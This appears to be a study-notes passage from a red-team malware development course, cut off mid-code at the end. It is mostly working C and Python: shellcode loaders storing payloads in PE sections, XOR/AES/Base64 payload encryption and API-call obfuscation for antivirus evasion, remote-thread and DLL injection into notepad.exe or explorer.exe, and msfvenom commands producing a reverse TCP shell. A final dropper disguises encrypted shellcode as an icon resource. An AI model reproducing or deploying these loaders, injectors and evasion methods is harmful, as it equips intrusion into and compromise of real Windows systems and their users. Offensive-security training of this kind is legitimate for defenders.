The Portable Executable (PE) format is a file format used for executables, object code, DLLs, FON font files, and other file types in 32-bit and 64-bit versions of Windows operating systems. The PE format is a data structure that encapsulates the information required by the Windows OS loader to manage the executable code. This includes dynamic library references for linking, API export and import tables, resource management data, and thread-local storage (TLS) data. In NT-based operating systems, the PE format is used for EXE, DLL, SYS (device driver), and other file types.
Key PE Sections
.text
: Contains executable code (useful for malware developers ).
.rdata
: Contains read-only data.
.data
: Contains the application’s global variables (useful for malware developers ).
.pdata
: Contains exception handling information.
.rsrc
: Contains resources such as objects, pictures, icons, manifest files, embedded EXEs, and DLLs (useful for malware developers ).
.reloc
: Contains relocation information, allowing Windows loaders to properly load DLLs or EXEs into memory.
PE Bear
A Portable Executable reversing tool with a user-friendly GUI.
EXE vs. DLL
EXE (Executable)
Programs that can be loaded into memory as independent processes.
DLL (Dynamic Link Library)
PE modules loaded into an existing process.
Provide functionalities required by the process.
Require a DllMain
function.
The only difference between an EXE and a DLL is how they are invoked in a program.
Payload Storage
Payload Storage in PE Files
1. Dropper
A dropper is a specialized program or file (e.g., PDF, DOCX) used to deliver a payload to a target machine.
Its primary function is to bypass detection and execute the payload on the victim's system.
2. Payload
A sophisticated program designed to perform malicious actions, such as:
Establishing a reverse shell.
Disabling antivirus (AV).
Downloading/executing additional programs.
3. Storing Payload in PE Sections
Payloads can be embedded in different sections of a Portable Executable (PE) file:
Stored as local variables inside functions.
Executable code region; useful for hiding small payloads.
Stored as global variables .
Stores writable data; payload remains accessible throughout execution.
Embedded as resources (e.g., icons, binaries).
Evades detection by storing payload as non-executable data.
Generate payload using MSFVENOM
Copy Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/exec cmd="C:\Windows\System32\calc.exe" -f raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ xxd -i shellcode.bin
Store Payload .text section
File: compile.bat
Copy @ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
Payload is defined as a local variable inside main function.
Copy /*
Red Team Operator course code template
storing payload in .text section
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// 4 byte payload (local variable)
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3 // RET
};
unsigned int payload_len = 4;
// Allocate a memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Make new buffer as executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Store Payload .data section
File: compile.bat
Copy @ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
Payload is defined as a global variable .
Copy /*
Red Team Operator course code template
storing payload in .data section
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 4 byte payload (global variable)
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3 // RET
};
unsigned int payload_len = 4;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Make new buffer as executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Store Payload .rsrc section
Payload is embedded as a resource (e.g., fake icon file).
File: resources.rc
Copy #include "resources.h"
//Generate a payload using msfvenom using binary format and renamed as calc.ico
FAVICON_ICO RCDATA calc.ico
File: compile.bat
Copy @ECHO OFF
rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
Copy /*
Red Team Operator course code template
storing payload in .rsrc section
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
unsigned char * payload;
unsigned int payload_len;
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// Launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Payload Encoding and Encryption
The purpose is to evade AV/EDR and make it difficult to detect
Diference between encoding and encryption
Encode: The purpose is to transform data using a public schema to and make it easy to process by software. (To decode needs to know the decode type)
Encryption: The purpose is to transform data using an encryption algorithm in order to keep it secret from others ( To decrypt needs Encryption type and key)
Base64 encoding
Base64 encoding is a weak and detectable, it is not recommended to use it for malware.
Copy /*
Red Team Operator course code template
payload encoding with base64
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")
#certutil.exe -encode calc.bin calc.b64
unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);
int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0; // failed
return( outLen );
}
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate new memory buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decode the payload back to binary form
DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, execute!
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
XOR encryption
File: xor_encrypt.py
Copy import sys
KEY = "mysecretkeee"
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
File: compile.bat
Copy @ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
Copy /*
Red Team Operator course code template
payload encryption with XOR
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
unsigned char calc_payload[] = { 0x91, 0x31, 0xf0, 0x81, 0x93, 0x9a, 0xa5, 0x74, 0x6b, 0x65, 0x24, 0x34, 0x2c, 0x29, 0x21, 0x34, 0x35, 0x3a, 0x54, 0xa6, 0xe, 0x2d, 0xee, 0x37, 0xd, 0x31, 0xf8, 0x37, 0x7b, 0x3a, 0xee, 0x26, 0x4b, 0x2d, 0xee, 0x17, 0x3d, 0x31, 0x7c, 0xd2, 0x29, 0x38, 0x28, 0x45, 0xa2, 0x2d, 0x54, 0xa5, 0xc1, 0x45, 0x12, 0x19, 0x61, 0x5e, 0x45, 0x35, 0xaa, 0xac, 0x68, 0x24, 0x6c, 0xb8, 0x91, 0x88, 0x31, 0x33, 0x34, 0x3c, 0xe0, 0x37, 0x45, 0xee, 0x2f, 0x45, 0x3b, 0x64, 0xb3, 0xf9, 0xe5, 0xfc, 0x6b, 0x65, 0x65, 0x2d, 0xe8, 0xb9, 0x7, 0x2, 0x2b, 0x73, 0xb5, 0x24, 0xe0, 0x2d, 0x7d, 0x21, 0xe6, 0x39, 0x53, 0x2c, 0x62, 0xa2, 0x86, 0x22, 0x23, 0x9a, 0xac, 0x24, 0xe6, 0x4d, 0xfb, 0x2d, 0x62, 0xa4, 0x28, 0x45, 0xa2, 0x2d, 0x54, 0xa5, 0xc1, 0x38, 0xb2, 0xac, 0x6e, 0x33, 0x64, 0xb5, 0x53, 0x85, 0x10, 0x94, 0x21, 0x7a, 0x3f, 0x41, 0x6b, 0x37, 0x5c, 0xa5, 0x1e, 0xbd, 0x3d, 0x21, 0xe6, 0x39, 0x57, 0x2c, 0x62, 0xa2, 0x3, 0x35, 0xe0, 0x69, 0x2d, 0x21, 0xe6, 0x39, 0x6f, 0x2c, 0x62, 0xa2, 0x24, 0xff, 0x6f, 0xed, 0x2d, 0x64, 0xbd, 0x38, 0x2b, 0x24, 0x3b, 0x2c, 0x3c, 0x2e, 0x2a, 0x3d, 0x24, 0x3c, 0x2c, 0x23, 0x3b, 0xe6, 0x8f, 0x52, 0x24, 0x26, 0x94, 0x85, 0x3d, 0x24, 0x34, 0x23, 0x3b, 0xee, 0x71, 0x9b, 0x32, 0x8b, 0x94, 0x9a, 0x38, 0x2d, 0xd7, 0x78, 0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x6b, 0x2d, 0xe8, 0xe8, 0x6c, 0x78, 0x73, 0x65, 0x22, 0xc8, 0x54, 0xff, 0x4, 0xe2, 0x9a, 0xb0, 0xd6, 0x89, 0xc6, 0xc7, 0x35, 0x33, 0xdf, 0xd2, 0xfe, 0xd8, 0xf8, 0x9a, 0xb8, 0x31, 0xf0, 0xa1, 0x4b, 0x4e, 0x63, 0x8, 0x61, 0xe5, 0x9e, 0x85, 0x18, 0x7c, 0xc8, 0x22, 0x70, 0x0, 0xa, 0x1e, 0x6b, 0x3c, 0x24, 0xec, 0xb7, 0x86, 0xa6, 0x6, 0x2, 0x1e, 0x6, 0x5a, 0xe, 0x1d, 0x0, 0x65 };
unsigned int calc_len = sizeof(calc_payload);
char key[] = "mysecretkeee";
// Allocate a buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decrypt (DeXOR) the payload
XOR((char *) calc_payload, calc_len, key, sizeof(key));
// Copy the payload to allocated buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
AES Encryption
File: aes_encrypt.py
Copy import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib
KEY = urandom(16)
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
def aesenc(plaintext, key):
k = hashlib.sha256(key).digest()
iv = 16 * '\x00'
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, iv)
return cipher.encrypt(bytes(plaintext))
try:
plaintext = open(sys.argv[1], "r").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
File: compile.bat
Copy @ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
Copy /*
Red Team Operator course code template
payload encryption with AES
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = {KEY};
unsigned char calc_payload[] = {PAYLOAD};
unsigned int calc_len = sizeof(calc_payload);
// Allocate memory for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decrypt payload
AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
// Copy payload to allocated buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Core Windows API Functions for Malware Development
Allocates executable memory (RWX
, RW
, etc.).
Stores payload in memory.
Copies payload to allocated memory (alternative: memcpy
).
Avoids static payload signatures.
Changes memory permissions (e.g., PAGE_EXECUTE_READ
).
Makes non-executable memory executable.
Executes payload in a new thread.
Runs payload without blocking main process.
Locates embedded payload in .rsrc
section.
Extracts payload from resources.
Loads the resource into memory.
Required for .rsrc
payloads.
Retrieves a pointer to the resource data.
Decodes Base64-encoded payloads (used with CRYPT_STRING_BASE64
).
Decodes obfuscated payloads.
Decrypts AES/XOR-encrypted payloads.
Reveals original payload.
Function Call Obfuscation
Function call obfuscation is a technique used in malware development to hide calls to external functions (usually from Windows DLLs) in order to evade detection by antivirus (AV) software.
How does a normal executable work?
EXE or DLL files use external functions from system DLLs like kernel32.dll
, user32.dll
, etc.
These external functions are imported normally , and their names appear clearly in the Import Address Table (IAT) .
AV engines analyze these imports to detect suspicious or malicious behavior .
How does AV detect malware?
AV software inspects imported DLLs and their functions. If the executable uses functions often seen in malware—such as:
...then the AV might flag the binary as suspicious or malicious.
How Does Function Call Obfuscation Help?
To evade AV detection, malware developers avoid importing sensitive functions directly. Instead, they:
Resolve function addresses at runtime using Windows API functions:
GetModuleHandle("DLL_Name")
: Returns a handle to a loaded DLL.
GetProcAddress(handle, "FunctionName")
: Returns the address of a function in the specified DLL.
Listing imports using dumpbin
Copy C:\Users\rto\Downloads\RTO Files\05.Functions_Obfuscation>dumpbin /imports implant.exe
Microsoft (R) COFF/PE Dumper Version 14.24.28316.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file implant.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
KERNEL32.dll
14000D000 Import Address Table
140015538 Import Name Table
0 time date stamp
0 Index of first forwarder reference
<SNIF>
5DB VirtualProtect
<SNIF>
This tells AVs that VirtualProtect
is used—which can be suspicious.
How to search for function (E.x. VirtualProtect)
Example: msdn virtualprotect
Copy the function structure
E.x. VirtualProtect Structure
Copy BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
First, define a global function pointer:
Copy BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
Then resolve it at runtime:
Copy pVirtualProtect = GetProcAddress(GetModuleHandle("Kernel32.dll"),"VirtualProtect");
The problem here is the VirtualProtect into the code and it can be detectable, to fix it use XOR encryption.
Obfuscating Strings using XOR encryption and CyberChef
Key : RANDOMKEY
Input: FUNCTION_NAME
OLD CODE WITHOUT CALL OBFUSCATION
This code calls VirtualProtect
directly, exposing its name in the binary/
Copy exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, calc_payload, calc_len);
VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
NEW CODE USING FUNCTION CALL OBFUSCATION
This version hides the call to VirtualProtect
using XOR and dynamic resolution.
Copy #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char calc_payload[] = {PAYLOAD};
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
unsigned int calc_len = sizeof(calc_payload);
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "1234567890";
char sVirtualProtect[] = {0x67,0x5b,0x41,0x40,0x40,0x57,0x5b,0x68,0x4b,0x5f,0x45,0x57,0x50,0x40};
// Allocate buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
XOR((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));
pVirtualProtect = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualProtect);
// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
// Make the buffer executable
rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Using Function Call Obfuscation :
Prevents AV from easily detecting sensitive API calls.
Allows dynamic resolution of Windows API functions at runtime.
Can be extended to any function: CreateRemoteThread
, LoadLibrary
, etc.
Increases stealth of malware or offensive tools.
Backdooring PE Files
Trojan is a software which mimic a legitim software in way to run malware into the legitim software
Methods of implanting own code:
Code Cave : Space inside PE file .text
segment is not occupied by other data or code (disadvantage small space )
New Section: Create a new section set size anything you want freedom (You have to set executable and quickly detected by AV engine as malicious)
Extending section: Pick some section typically the last one and increase the size to hold you shellcode (Require more effort to recalculate)
How to backdoor a legitim process (Putty)
It's mandatory know the software architecture. you can might use Process Hacker
.
INSERT VIDEO HERE
Code Injection
Payload injection is a technique used in malware development where a malicious code payload is inserted into a legitimate process or system.
Most Common Combination
VirtualAllocEx
: Allocates memory in the remote process.
WriteProcessMemory
: Writes the shellcode into the allocated memory.
CreateRemoteThread
: Starts a new thread in the remote process to execute the shellcode.
Copy #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
unsigned char payload[] = {PAYLOAD};
unsigned int payload_len = 334;
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int main(void) {
int pid = 0;
HANDLE hProc = NULL;
pid = FindTarget("notepad.exe");
if (pid) {
printf("Notepad.exe PID = %d\n", pid);
// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}
DLL Injection
LoadLibrary
: The address of this function is obtained in dropper.exe
using GetProcAddress
.
VirtualAllocEx
: Called in the target process (e.g., outlook.exe
) to allocate space for the DLL path.
WriteProcessMemory
: Writes the DLL path into the allocated memory.
CreateRemoteThread
: Executes LoadLibrary
with the path to the DLL as its argument, effectively loading the malicious DLL into the target process.
File: implantDLL.cpp
Copy /*
Red Team Operator course code template
Injected DLL running payload
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = {PAYLOAD};
unsigned int payload_len = PAYLOAD_SIZE;
extern __declspec(dllexport) int Go(void);
int Go(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, 0);
}
return 0;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
switch ( fdwReason ) {
case DLL_PROCESS_ATTACH:
Go();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
File: injectDLL.cpp
Copy /*
Red Team Operator course code template
DLL injector
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int main(int argc, char *argv[]) {
HANDLE pHandle;
PVOID remBuf;
PTHREAD_START_ROUTINE pLoadLibrary = NULL;
char dll[] = "C:\\PATH\SUBPATH\\implantDLL.dll";
char target[] = "notepad.exe";
int pid = 0;
pid = FindTarget(target);
if ( pid == 0) {
printf("Target NOT FOUND! Exiting.\n");
return -1;
}
printf("Target PID: [ %d ]\nInjecting...", pid);
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
if (pHandle != NULL) {
remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);
CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
printf("done!\nremBuf addr = %p\n", remBuf);
CloseHandle(pHandle);
}
else {
printf("OpenProcess failed! Exiting.\n");
return -2;
}
}
File: compileDLL.bat
Copy @ECHO OFF
cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll
File: CompileInjector.bat
Copy @ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcinjectDLL.cpp /link /OUT:injectDLL.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
Hiding console
Using FreeConsole();
but the problem is the console will pop up a milliseconds.
Use a WinMain
instead of main
method and compile using
Copy int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
//CODE
}
Copy int main(void) {
//CODE
FreeConsole();
}
And should compile the program as GUI program using /SUBSYSTEM:WINDOWS
Copy @ECHO OFF
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64
Final project
Create a dropper where the shellcode is loading from .rsrc
Encrypt/Decrypt using XOR encryption
Inject the shellcode into explorer.exe or notepad.exe
Get rid of console windows (pop up)
Payload:
Copy msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 -f raw EXITFUNC=thread > shellcode.bin
File: compile.bat
Copy @ECHO OFF
rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64 resources.o
File: resources.rc
Copy #include "resources.h"
FAVICON_ICO RCDATA fav.ico
File: resources.h
Copy #define FAVICON_ICO 100
File: xorencrypt.py
Copy # Red Team Operator course code template
# payload encryption with XOR
#
# author: reenz0h (twitter: @sektor7net)
import sys
KEY = "hUNdAmEnALtaterphApSERS"
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
open("fav.ico","wb").write(ciphertext)
#print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
File: implant.cpp
Copy #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
#include <tlhelp32.h>
char key[] = "hUNdAmEnALtaterphApSERS";
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
